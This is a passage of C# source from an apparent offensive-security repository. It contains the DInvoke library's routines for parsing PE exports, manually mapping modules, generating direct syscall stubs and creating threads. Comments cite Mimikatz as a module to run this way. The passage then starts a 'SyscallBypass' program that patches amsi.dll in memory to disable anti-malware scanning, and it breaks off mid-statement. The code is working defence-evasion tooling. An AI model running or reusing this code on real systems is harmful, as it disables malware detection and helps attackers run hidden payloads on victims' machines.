Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14)); 3616 | Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18; 3617 | Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader); 3618 | Int64 pExport = 0; 3619 | if (Magic == 0x010b) 3620 | { 3621 | pExport = OptHeader + 0x60; 3622 | } 3623 | else 3624 | { 3625 | pExport = OptHeader + 0x70; 3626 | } 3627 | 3628 | // Read -> IMAGE_EXPORT_DIRECTORY 3629 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport); 3630 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10)); 3631 | Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14)); 3632 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18)); 3633 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C)); 3634 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20)); 3635 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24)); 3636 | 3637 | // Loop the array of export name RVA's 3638 | for (int i = 0; i < NumberOfNames; i++) 3639 | { 3640 | string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4)))); 3641 | if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase)) 3642 | { 3643 | Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; 3644 | Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase)))); 3645 | FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA); 3646 | break; 3647 | } 3648 | } 3649 | } 3650 | catch 3651 | { 3652 | // Catch parser failure 3653 | throw new InvalidOperationException("Failed to parse module exports."); 3654 | } 3655 | 3656 | if (FunctionPtr == IntPtr.Zero) 3657 | { 3658 | // Export not found 3659 | throw new MissingMethodException(ExportName + ", export not found."); 3660 | } 3661 | return FunctionPtr; 3662 | } 3663 | 3664 | /// 3665 | /// Given a module base address, resolve the address of a function by manually walking the module export table. 3666 | /// 3667 | /// Ruben Boonen (@FuzzySec) 3668 | /// A pointer to the base address where the module is loaded in the current process. 3669 | /// The ordinal number to search for (e.g. 0x136 -> ntdll!NtCreateThreadEx). 3670 | /// IntPtr for the desired function. 3671 | public static IntPtr GetExportAddress(IntPtr ModuleBase, short Ordinal) 3672 | { 3673 | IntPtr FunctionPtr = IntPtr.Zero; 3674 | try 3675 | { 3676 | // Traverse the PE header in memory 3677 | Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C)); 3678 | Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14)); 3679 | Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18; 3680 | Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader); 3681 | Int64 pExport = 0; 3682 | if (Magic == 0x010b) 3683 | { 3684 | pExport = OptHeader + 0x60; 3685 | } 3686 | else 3687 | { 3688 | pExport = OptHeader + 0x70; 3689 | } 3690 | 3691 | // Read -> IMAGE_EXPORT_DIRECTORY 3692 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport); 3693 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10)); 3694 | Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14)); 3695 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18)); 3696 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C)); 3697 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20)); 3698 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24)); 3699 | 3700 | // Loop the array of export name RVA's 3701 | for (int i = 0; i < NumberOfNames; i++) 3702 | { 3703 | Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; 3704 | if (FunctionOrdinal == Ordinal) 3705 | { 3706 | Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase)))); 3707 | FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA); 3708 | break; 3709 | } 3710 | } 3711 | } 3712 | catch 3713 | { 3714 | // Catch parser failure 3715 | throw new InvalidOperationException("Failed to parse module exports."); 3716 | } 3717 | 3718 | if (FunctionPtr == IntPtr.Zero) 3719 | { 3720 | // Export not found 3721 | throw new MissingMethodException(Ordinal + ", ordinal not found."); 3722 | } 3723 | return FunctionPtr; 3724 | } 3725 | 3726 | /// 3727 | /// Given a module base address, resolve the address of a function by manually walking the module export table. 3728 | /// 3729 | /// Ruben Boonen (@FuzzySec) 3730 | /// A pointer to the base address where the module is loaded in the current process. 3731 | /// Hash of the exported procedure. 3732 | /// 64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788). 3733 | /// IntPtr for the desired function. 3734 | public static IntPtr GetExportAddress(IntPtr ModuleBase, string FunctionHash, long Key) 3735 | { 3736 | IntPtr FunctionPtr = IntPtr.Zero; 3737 | try 3738 | { 3739 | // Traverse the PE header in memory 3740 | Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C)); 3741 | Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14)); 3742 | Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18; 3743 | Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader); 3744 | Int64 pExport = 0; 3745 | if (Magic == 0x010b) 3746 | { 3747 | pExport = OptHeader + 0x60; 3748 | } 3749 | else 3750 | { 3751 | pExport = OptHeader + 0x70; 3752 | } 3753 | 3754 | // Read -> IMAGE_EXPORT_DIRECTORY 3755 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport); 3756 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10)); 3757 | Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14)); 3758 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18)); 3759 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C)); 3760 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20)); 3761 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24)); 3762 | 3763 | // Loop the array of export name RVA's 3764 | for (int i = 0; i < NumberOfNames; i++) 3765 | { 3766 | string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4)))); 3767 | if (GetAPIHash(FunctionName, Key).Equals(FunctionHash, StringComparison.OrdinalIgnoreCase)) 3768 | { 3769 | Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; 3770 | Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase)))); 3771 | FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA); 3772 | break; 3773 | } 3774 | } 3775 | } 3776 | catch 3777 | { 3778 | // Catch parser failure 3779 | throw new InvalidOperationException("Failed to parse module exports."); 3780 | } 3781 | 3782 | if (FunctionPtr == IntPtr.Zero) 3783 | { 3784 | // Export not found 3785 | throw new MissingMethodException(FunctionHash + ", export hash not found."); 3786 | } 3787 | return FunctionPtr; 3788 | } 3789 | 3790 | /// 3791 | /// Given a module base address, resolve the address of a function by calling LdrGetProcedureAddress. 3792 | /// 3793 | /// Ruben Boonen (@FuzzySec) 3794 | /// A pointer to the base address where the module is loaded in the current process. 3795 | /// The name of the export to search for (e.g. "NtAlertResumeThread"). 3796 | /// IntPtr for the desired function. 3797 | public static IntPtr GetNativeExportAddress(IntPtr ModuleBase, string ExportName) 3798 | { 3799 | Native.ANSI_STRING aFunc = new Native.ANSI_STRING 3800 | { 3801 | Length = (ushort)ExportName.Length, 3802 | MaximumLength = (ushort)(ExportName.Length + 2), 3803 | Buffer = Marshal.StringToCoTaskMemAnsi(ExportName) 3804 | }; 3805 | 3806 | IntPtr pAFunc = Marshal.AllocHGlobal(Marshal.SizeOf(aFunc)); 3807 | Marshal.StructureToPtr(aFunc, pAFunc, true); 3808 | 3809 | IntPtr pFuncAddr = IntPtr.Zero; 3810 | DynamicNative.LdrGetProcedureAddress(ModuleBase, pAFunc, IntPtr.Zero, ref pFuncAddr); 3811 | 3812 | Marshal.FreeHGlobal(pAFunc); 3813 | 3814 | return pFuncAddr; 3815 | } 3816 | 3817 | /// 3818 | /// Given a module base address, resolve the address of a function by calling LdrGetProcedureAddress. 3819 | /// 3820 | /// Ruben Boonen (@FuzzySec) 3821 | /// A pointer to the base address where the module is loaded in the current process. 3822 | /// The ordinal number to search for (e.g. 0x136 -> ntdll!NtCreateThreadEx). 3823 | /// IntPtr for the desired function. 3824 | public static IntPtr GetNativeExportAddress(IntPtr ModuleBase, short Ordinal) 3825 | { 3826 | IntPtr pFuncAddr = IntPtr.Zero; 3827 | IntPtr pOrd = (IntPtr)Ordinal; 3828 | 3829 | DynamicNative.LdrGetProcedureAddress(ModuleBase, IntPtr.Zero, pOrd, ref pFuncAddr); 3830 | 3831 | return pFuncAddr; 3832 | } 3833 | 3834 | /// 3835 | /// Retrieve PE header information from the module base pointer. 3836 | /// 3837 | /// Ruben Boonen (@FuzzySec) 3838 | /// Pointer to the module base. 3839 | /// PE.PE_META_DATA 3840 | public static PE.PE_META_DATA GetPeMetaData(IntPtr pModule) 3841 | { 3842 | PE.PE_META_DATA PeMetaData = new PE.PE_META_DATA(); 3843 | try 3844 | { 3845 | UInt32 e_lfanew = (UInt32)Marshal.ReadInt32((IntPtr)((UInt64)pModule + 0x3c)); 3846 | PeMetaData.Pe = (UInt32)Marshal.ReadInt32((IntPtr)((UInt64)pModule + e_lfanew)); 3847 | // Validate PE signature 3848 | if (PeMetaData.Pe != 0x4550) 3849 | { 3850 | throw new InvalidOperationException("Invalid PE signature."); 3851 | } 3852 | PeMetaData.ImageFileHeader = (PE.IMAGE_FILE_HEADER)Marshal.PtrToStructure((IntPtr)((UInt64)pModule + e_lfanew + 0x4), typeof(PE.IMAGE_FILE_HEADER)); 3853 | IntPtr OptHeader = (IntPtr)((UInt64)pModule + e_lfanew + 0x18); 3854 | UInt16 PEArch = (UInt16)Marshal.ReadInt16(OptHeader); 3855 | // Validate PE arch 3856 | if (PEArch == 0x010b) // Image is x32 3857 | { 3858 | PeMetaData.Is32Bit = true; 3859 | PeMetaData.OptHeader32 = (PE.IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure(OptHeader, typeof(PE.IMAGE_OPTIONAL_HEADER32)); 3860 | } 3861 | else if (PEArch == 0x020b) // Image is x64 3862 | { 3863 | PeMetaData.Is32Bit = false; 3864 | PeMetaData.OptHeader64 = (PE.IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure(OptHeader, typeof(PE.IMAGE_OPTIONAL_HEADER64)); 3865 | } 3866 | else 3867 | { 3868 | throw new InvalidOperationException("Invalid magic value (PE32/PE32+)."); 3869 | } 3870 | // Read sections 3871 | PE.IMAGE_SECTION_HEADER[] SectionArray = new PE.IMAGE_SECTION_HEADER[PeMetaData.ImageFileHeader.NumberOfSections]; 3872 | for (int i = 0; i < PeMetaData.ImageFileHeader.NumberOfSections; i++) 3873 | { 3874 | IntPtr SectionPtr = (IntPtr)((UInt64)OptHeader + PeMetaData.ImageFileHeader.SizeOfOptionalHeader + (UInt32)(i * 0x28)); 3875 | SectionArray[i] = (PE.IMAGE_SECTION_HEADER)Marshal.PtrToStructure(SectionPtr, typeof(PE.IMAGE_SECTION_HEADER)); 3876 | } 3877 | PeMetaData.Sections = SectionArray; 3878 | } 3879 | catch 3880 | { 3881 | throw new InvalidOperationException("Invalid module base specified."); 3882 | } 3883 | return PeMetaData; 3884 | } 3885 | 3886 | /// 3887 | /// Resolve host DLL for API Set DLL. 3888 | /// 3889 | /// Ruben Boonen (@FuzzySec) 3890 | /// Dictionary, a combination of Key:APISetDLL and Val:HostDLL. 3891 | public static Dictionary GetApiSetMapping() 3892 | { 3893 | Native.PROCESS_BASIC_INFORMATION pbi = DynamicNative.NtQueryInformationProcessBasicInformation((IntPtr)(-1)); 3894 | UInt32 ApiSetMapOffset = IntPtr.Size == 4 ? (UInt32)0x38 : 0x68; 3895 | 3896 | // Create mapping dictionary 3897 | Dictionary ApiSetDict = new Dictionary(); 3898 | 3899 | IntPtr pApiSetNamespace = Marshal.ReadIntPtr((IntPtr)((UInt64)pbi.PebBaseAddress + ApiSetMapOffset)); 3900 | PE.ApiSetNamespace Namespace = (PE.ApiSetNamespace)Marshal.PtrToStructure(pApiSetNamespace, typeof(PE.ApiSetNamespace)); 3901 | for (var i = 0; i < Namespace.Count; i++) 3902 | { 3903 | PE.ApiSetNamespaceEntry SetEntry = new PE.ApiSetNamespaceEntry(); 3904 | SetEntry = (PE.ApiSetNamespaceEntry)Marshal.PtrToStructure((IntPtr)((UInt64)pApiSetNamespace + (UInt64)Namespace.EntryOffset + (UInt64)(i * Marshal.SizeOf(SetEntry))), typeof(PE.ApiSetNamespaceEntry)); 3905 | string ApiSetEntryName = Marshal.PtrToStringUni((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetEntry.NameOffset), SetEntry.NameLength / 2) + ".dll"; 3906 | 3907 | PE.ApiSetValueEntry SetValue = new PE.ApiSetValueEntry(); 3908 | SetValue = (PE.ApiSetValueEntry)Marshal.PtrToStructure((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetEntry.ValueOffset), typeof(PE.ApiSetValueEntry)); 3909 | string ApiSetValue = string.Empty; 3910 | if (SetValue.ValueCount != 0) 3911 | { 3912 | ApiSetValue = Marshal.PtrToStringUni((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetValue.ValueOffset), SetValue.ValueCount / 2); 3913 | } 3914 | 3915 | // Add pair to dict 3916 | ApiSetDict.Add(ApiSetEntryName, ApiSetValue); 3917 | } 3918 | 3919 | // Return dict 3920 | return ApiSetDict; 3921 | } 3922 | 3923 | /// 3924 | /// Call a manually mapped PE by its EntryPoint. 3925 | /// 3926 | /// Ruben Boonen (@FuzzySec) 3927 | /// Module meta data struct (PE.PE_META_DATA). 3928 | /// Base address of the module in memory. 3929 | /// void 3930 | public static void CallMappedPEModule(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase) 3931 | { 3932 | // Call module by EntryPoint (eg Mimikatz.exe) 3933 | IntPtr hRemoteThread = IntPtr.Zero; 3934 | IntPtr lpStartAddress = PEINFO.Is32Bit ? (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader32.AddressOfEntryPoint) : 3935 | (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader64.AddressOfEntryPoint); 3936 | 3937 | // Syscall NtOpenFile 3938 | IntPtr pNtCreateThreadEx = DynamicGeneric.GetSyscallStub("NtCreateThreadEx"); 3939 | DynamicNative.DELEGATES.NtCreateThreadEx fSyscallNtCreateThreadEx = (DynamicNative.DELEGATES.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(pNtCreateThreadEx, typeof(DynamicNative.DELEGATES.NtCreateThreadEx)); 3940 | 3941 | fSyscallNtCreateThreadEx( 3942 | out hRemoteThread, 3943 | Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, 3944 | IntPtr.Zero, (IntPtr)(-1), 3945 | lpStartAddress, IntPtr.Zero, 3946 | false, 0, 0, 0, IntPtr.Zero 3947 | ); 3948 | } 3949 | 3950 | /// 3951 | /// Call a manually mapped DLL by DllMain -> DLL_PROCESS_ATTACH. 3952 | /// 3953 | /// Ruben Boonen (@FuzzySec) 3954 | /// Module meta data struct (PE.PE_META_DATA). 3955 | /// Base address of the module in memory. 3956 | /// void 3957 | public static void CallMappedDLLModule(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase) 3958 | { 3959 | IntPtr lpEntryPoint = PEINFO.Is32Bit ? (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader32.AddressOfEntryPoint) : 3960 | (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader64.AddressOfEntryPoint); 3961 | 3962 | PE.DllMain fDllMain = (PE.DllMain)Marshal.GetDelegateForFunctionPointer(lpEntryPoint, typeof(PE.DllMain)); 3963 | bool CallRes = fDllMain(ModuleMemoryBase, PE.DLL_PROCESS_ATTACH, IntPtr.Zero); 3964 | if (!CallRes) 3965 | { 3966 | throw new InvalidOperationException("Failed to call DllMain -> DLL_PROCESS_ATTACH"); 3967 | } 3968 | } 3969 | 3970 | /// 3971 | /// Call a manually mapped DLL by Export. 3972 | /// 3973 | /// Ruben Boonen (@FuzzySec) 3974 | /// Module meta data struct (PE.PE_META_DATA). 3975 | /// Base address of the module in memory. 3976 | /// The name of the export to search for (e.g. "NtAlertResumeThread"). 3977 | /// Prototype for the function, represented as a Delegate object. 3978 | /// Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference. 3979 | /// Specify whether to invoke the module's entry point. 3980 | /// void 3981 | public static object CallMappedDLLModuleExport(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase, string ExportName, Type FunctionDelegateType, object[] Parameters, bool CallEntry = true) 3982 | { 3983 | // Call entry point if user has specified 3984 | if (CallEntry) 3985 | { 3986 | CallMappedDLLModule(PEINFO, ModuleMemoryBase); 3987 | } 3988 | 3989 | // Get export pointer 3990 | IntPtr pFunc = GetExportAddress(ModuleMemoryBase, ExportName); 3991 | 3992 | // Call export 3993 | return DynamicFunctionInvoke(pFunc, FunctionDelegateType, ref Parameters); 3994 | } 3995 | 3996 | /// 3997 | /// Read ntdll from disk, find/copy the appropriate syscall stub and free ntdll. 3998 | /// 3999 | /// Ruben Boonen (@FuzzySec) 4000 | /// The name of the function to search for (e.g. "NtAlertResumeThread"). 4001 | /// IntPtr, Syscall stub 4002 | public static IntPtr GetSyscallStub(string FunctionName) 4003 | { 4004 | // Verify process & architecture 4005 | bool isWOW64 = DynamicNative.NtQueryInformationProcessWow64Information((IntPtr)(-1)); 4006 | /*if (IntPtr.Size == 4 && isWOW64) 4007 | { 4008 | throw new InvalidOperationException("Generating Syscall stubs is not supported for WOW64."); 4009 | }*/ 4010 | ProcessModule NativeModule = null; 4011 | // Find the path for ntdll by looking at the currently loaded module 4012 | string NtdllPath = string.Empty; 4013 | ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules; 4014 | foreach (ProcessModule Mod in ProcModules) 4015 | { 4016 | if (Mod.FileName.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase)) 4017 | { 4018 | NtdllPath = Mod.FileName; 4019 | } 4020 | 4021 | } 4022 | 4023 | foreach (ProcessModule _ in Process.GetCurrentProcess().Modules) 4024 | { 4025 | if (_.FileName.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase)) 4026 | { 4027 | NativeModule = _; 4028 | NtdllPath = NativeModule.FileName; 4029 | } 4030 | } 4031 | 4032 | // Alloc module into memory for parsing 4033 | IntPtr pModule = Map.AllocateFileToMemory(NtdllPath); 4034 | 4035 | // Fetch PE meta data 4036 | PE.PE_META_DATA PEINFO = GetPeMetaData(pModule); 4037 | 4038 | // Alloc PE image memory -> RW 4039 | IntPtr BaseAddress = IntPtr.Zero; 4040 | IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage; 4041 | UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders; 4042 | 4043 | IntPtr pImage = DynamicNative.NtAllocateVirtualMemory( 4044 | (IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize, 4045 | Win32.Kernel32.MEM_COMMIT | Win32.Kernel32.MEM_RESERVE, 4046 | Win32.WinNT.PAGE_READWRITE 4047 | ); 4048 | 4049 | // Write PE header to memory 4050 | UInt32 BytesWritten = DynamicNative.NtWriteVirtualMemory((IntPtr)(-1), pImage, pModule, SizeOfHeaders); 4051 | 4052 | // Write sections to memory 4053 | foreach (PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections) 4054 | { 4055 | // Calculate offsets 4056 | IntPtr pVirtualSectionBase = (IntPtr)((UInt64)pImage + ish.VirtualAddress); 4057 | IntPtr pRawSectionBase = (IntPtr)((UInt64)pModule + ish.PointerToRawData); 4058 | 4059 | // Write data 4060 | BytesWritten = DynamicNative.NtWriteVirtualMemory((IntPtr)(-1), pVirtualSectionBase, pRawSectionBase, ish.SizeOfRawData); 4061 | if (BytesWritten != ish.SizeOfRawData) 4062 | { 4063 | throw new InvalidOperationException("Failed to write to memory."); 4064 | } 4065 | } 4066 | 4067 | // Get Ptr to function 4068 | IntPtr pFunc = GetExportAddress(pImage, FunctionName); 4069 | if (pFunc == IntPtr.Zero) 4070 | { 4071 | throw new InvalidOperationException("Failed to resolve ntdll export."); 4072 | } 4073 | 4074 | // Alloc memory for call stub 4075 | BaseAddress = IntPtr.Zero; 4076 | RegionSize = (IntPtr)0x50; 4077 | IntPtr pCallStub = DynamicNative.NtAllocateVirtualMemory( 4078 | (IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize, 4079 | Win32.Kernel32.MEM_COMMIT | Win32.Kernel32.MEM_RESERVE, 4080 | Win32.WinNT.PAGE_READWRITE 4081 | ); 4082 | 4083 | // Write call stub 4084 | BytesWritten = DynamicNative.NtWriteVirtualMemory((IntPtr)(-1), pCallStub, pFunc, 0x50); 4085 | if (BytesWritten != 0x50) 4086 | { 4087 | throw new InvalidOperationException("Failed to write to memory."); 4088 | } 4089 | 4090 | // Verify process & architecture 4091 | //bool isWOW64 = Native.NtQueryInformationProcessWow64Information((IntPtr)(-1)); 4092 | 4093 | // Create custom WOW64 stub 4094 | if (IntPtr.Size == 4 && isWOW64) 4095 | { 4096 | IntPtr pNativeWow64Transition = GetExportAddress(NativeModule.BaseAddress, "Wow64Transition"); 4097 | byte bRetValue = Marshal.ReadByte(pCallStub, 13); 4098 | 4099 | // CALL DWORD PTR ntdll!Wow64SystemServiceCall 4100 | Marshal.WriteByte(pCallStub, 5, 0xff); 4101 | Marshal.WriteByte(pCallStub, 6, 0x15); 4102 | Marshal.WriteInt32(pCallStub, 7, pNativeWow64Transition.ToInt32()); 4103 | 4104 | // RET 4105 | Marshal.WriteByte(pCallStub, 11, 0xc2); 4106 | Marshal.WriteByte(pCallStub, 12, bRetValue); 4107 | Marshal.WriteByte(pCallStub, 13, 0x00); 4108 | 4109 | // NOP for alignment 4110 | Marshal.WriteByte(pCallStub, 14, 0x90); 4111 | Marshal.WriteByte(pCallStub, 15, 0x90); 4112 | } 4113 | 4114 | // Change call stub permissions 4115 | DynamicNative.NtProtectVirtualMemory((IntPtr)(-1), ref pCallStub, ref RegionSize, Win32.WinNT.PAGE_EXECUTE_READ); 4116 | 4117 | // Free temporary allocations 4118 | Marshal.FreeHGlobal(pModule); 4119 | RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage; 4120 | 4121 | DynamicNative.NtFreeVirtualMemory((IntPtr)(-1), ref pImage, ref RegionSize, Win32.Kernel32.MEM_RELEASE); 4122 | 4123 | return pCallStub; 4124 | } 4125 | } 4126 | 4127 | public static class DynamicWin32 4128 | { 4129 | /// 4130 | /// Uses DynamicInvocation to call the OpenProcess Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess 4131 | /// 4132 | /// The Wover (@TheRealWover) 4133 | /// 4134 | /// 4135 | /// 4136 | /// 4137 | public static IntPtr OpenProcess(Win32.Kernel32.ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, UInt32 dwProcessId) 4138 | { 4139 | // Craft an array for the arguments 4140 | object[] funcargs = 4141 | { 4142 | dwDesiredAccess, bInheritHandle, dwProcessId 4143 | }; 4144 | 4145 | return (IntPtr)DynamicGeneric.DynamicAPIInvoke(@"kernel32.dll", @"OpenProcess", 4146 | typeof(Delegates.OpenProcess), ref funcargs); 4147 | } 4148 | 4149 | public static IntPtr CreateRemoteThread( 4150 | IntPtr hProcess, 4151 | IntPtr lpThreadAttributes, 4152 | uint dwStackSize, 4153 | IntPtr lpStartAddress, 4154 | IntPtr lpParameter, 4155 | uint dwCreationFlags, 4156 | ref IntPtr lpThreadId) 4157 | { 4158 | // Craft an array for the arguments 4159 | object[] funcargs = 4160 | { 4161 | hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId 4162 | }; 4163 | 4164 | IntPtr retValue = (IntPtr)DynamicGeneric.DynamicAPIInvoke(@"kernel32.dll", @"CreateRemoteThread", 4165 | typeof(Delegates.CreateRemoteThread), ref funcargs); 4166 | 4167 | // Update the modified variables 4168 | lpThreadId = (IntPtr)funcargs[6]; 4169 | 4170 | return retValue; 4171 | } 4172 | 4173 | /// 4174 | /// Uses DynamicInvocation to call the IsWow64Process Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/wow64apiset/nf-wow64apiset-iswow64process 4175 | /// 4176 | /// Returns true if process is WOW64, and false if not (64-bit, or 32-bit on a 32-bit machine). 4177 | public static bool IsWow64Process(IntPtr hProcess, ref bool lpSystemInfo) 4178 | { 4179 | 4180 | // Build the set of parameters to pass in to IsWow64Process 4181 | object[] funcargs = 4182 | { 4183 | hProcess, lpSystemInfo 4184 | }; 4185 | 4186 | bool retVal = (bool)DynamicGeneric.DynamicAPIInvoke(@"kernel32.dll", @"IsWow64Process", typeof(Delegates.IsWow64Process), ref funcargs); 4187 | 4188 | lpSystemInfo = (bool)funcargs[1]; 4189 | 4190 | // Dynamically load and invoke the API call with out parameters 4191 | return retVal; 4192 | } 4193 | 4194 | public static class Delegates 4195 | { 4196 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 4197 | public delegate IntPtr CreateRemoteThread(IntPtr hProcess, 4198 | IntPtr lpThreadAttributes, 4199 | uint dwStackSize, 4200 | IntPtr lpStartAddress, 4201 | IntPtr lpParameter, 4202 | uint dwCreationFlags, 4203 | out IntPtr lpThreadId); 4204 | 4205 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)] 4206 | public delegate IntPtr OpenProcess( 4207 | Win32.Kernel32.ProcessAccessFlags dwDesiredAccess, 4208 | bool bInheritHandle, 4209 | UInt32 dwProcessId 4210 | ); 4211 | 4212 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 4213 | public delegate bool IsWow64Process( 4214 | IntPtr hProcess, ref bool lpSystemInfo 4215 | ); 4216 | } 4217 | } 4218 | } 4219 | } 4220 | -------------------------------------------------------------------------------- /SyscallBypass/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Diagnostics; 4 | 5 | namespace Patch 6 | { 7 | public class bySyscall 8 | { 9 | 10 | static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; 11 | static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; 12 | 13 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 14 | delegate DInvoke.Native.NTSTATUS NtProtectVirtualMemory( 15 | IntPtr ProcessHandle, 16 | ref IntPtr BaseAddress, 17 | ref IntPtr RegionSize, 18 | uint NewProtect, 19 | ref uint OldProtect); 20 | 21 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 22 | delegate IntPtr LoadLib(string name); 23 | 24 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 25 | delegate IntPtr GProcAddr(IntPtr hModule, string procName); 26 | 27 | public static void Patch() 28 | { 29 | if (is64Bit()) 30 | ChangeBytes(x64); 31 | else 32 | ChangeBytes(x86); 33 | } 34 | 35 | private static void ChangeBytes(byte[] patch) 36 | { 37 | try 38 | { 39 | 40 | // library to load 41 | object[] LoadLibparams = 42 | { 43 | "amsi.dll" 44 | }; 45 | 46 | Console.WriteLine("[>] Parsing _PEB_LDR_DATA structure of kernel32.dll \n"); 47 | // Parsing _PEB_LDR_DATA structure of kernel32.dll 48 | IntPtr pkernel32 = 